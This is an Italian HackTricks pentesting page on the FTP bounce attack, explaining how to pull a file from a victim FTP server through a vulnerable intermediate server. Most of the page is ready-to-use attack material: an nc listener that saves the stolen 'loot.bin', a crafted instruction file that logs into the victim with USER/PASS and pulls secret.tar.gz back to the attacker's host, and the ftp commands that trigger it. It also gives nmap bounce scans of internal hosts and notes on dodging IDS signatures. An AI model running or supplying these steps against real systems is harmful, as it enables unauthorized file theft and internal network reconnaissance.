FTP Bounce Download 2 of FTP File

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Riassunto

Se hai accesso a un bounce FTP server, puoi far sì che richieda file da un altro FTP server (per il quale conosci alcune credenziali) e scaricare quel file sul tuo server.

Requisiti

  • Credenziali FTP valide nel FTP Middle server
  • Credenziali FTP valide nel Victim FTP server
  • Entrambi i server accettano il comando PORT (bounce FTP attack)
  • Puoi scrivere all’interno di qualche directory del FTP Middle server
  • Il FTP Middle server ha più accesso all’interno del Victim FTP server rispetto a te

Passi

  1. Connettiti al tuo FTP server e metti la connessione in modalità passive (pasv command) così che ascolti in una directory dove il servizio vittima invierà il file.
  2. Crea il file che il FTP Middle server invierà al Victim server (lo exploit script). Questo file sarà testo semplice con i comandi necessari per autenticarsi sul Victim server, cambiare directory e scaricare un file sul tuo server.
  3. Connettiti al FTP Middle Server e carica il file precedente.
  4. Fai fare al FTP Middle server di stabilire una connessione con il Victim server e inviare il file exploit.
  5. Cattura il file nel tuo FTP server.
  6. Elimina il file exploit dal FTP Middle server.

Verifica rapida per bounce hosts vulnerabili

  • Nmap supporta ancora i controlli di FTP bounce. Esempio per verificare un potenziale FTP Middle server:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

Se il server rifiuta valori PORT di terze parti la scansione fallirà; alcune stampanti embedded/legacy, NAS e daemon FTP di appliance lo permettono ancora.

Automazione del 2° download FTP

Di seguito un metodo modernizzato per prelevare un file attraverso un server FTP intermedio vulnerabile.

  1. Apri un listener passivo sulla tua macchina d’attacco (qualsiasi TCP sink va bene):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. Annota il tuo IP come A,B,C,D e la porta P come p1,p2 (p1 = P/256, p2 = P%256).

  2. Costruisci il file di istruzioni che il server intermedio invierà alla vittima:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. Carica e attiva dal server intermedio (classico proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. Recupera il file dal tuo listener (loot.bin).
  2. Rimuovi il file instrs caricato sul server intermedio.

Note:

  • Il padding (dd ...) impedisce che la connessione di controllo si chiuda prima che il RETR finisca (problema della large TCP window discusso nelle writeup classiche).
  • Qualsiasi servizio in grado di ascoltare e salvare il traffico TCP può sostituire la socket PASV dell’FTP (es., socat -u TCP-LISTEN:2121,fork - > loot.bin).
  • Se il server intermedio limita le porte privilegiate, usa una porta alta in PORT e adatta di conseguenza il tuo listener.

Trucchi extra

  • Usa un server FTP bounceable per eseguire port-scan su host interni quando il trasferimento di file è bloccato:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • Alcuni WAF/IDS moderni (es., Juniper IPS) includono signature specifiche per FTP:EXPLOIT:BOUNCE-ATTACK; payload rumorosi o padding mancante possono attivarle.
  • Quando il server intermedio applica restrizioni “PORT to same host”, posiziona il tuo listener sul server intermedio stesso (se hai permessi di scrittura/esecuzione) e inoltra il file catturato in seguito.

Per una guida dettagliata in stile old-school consulta: http://www.ouah.org/ftpbounce.html

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks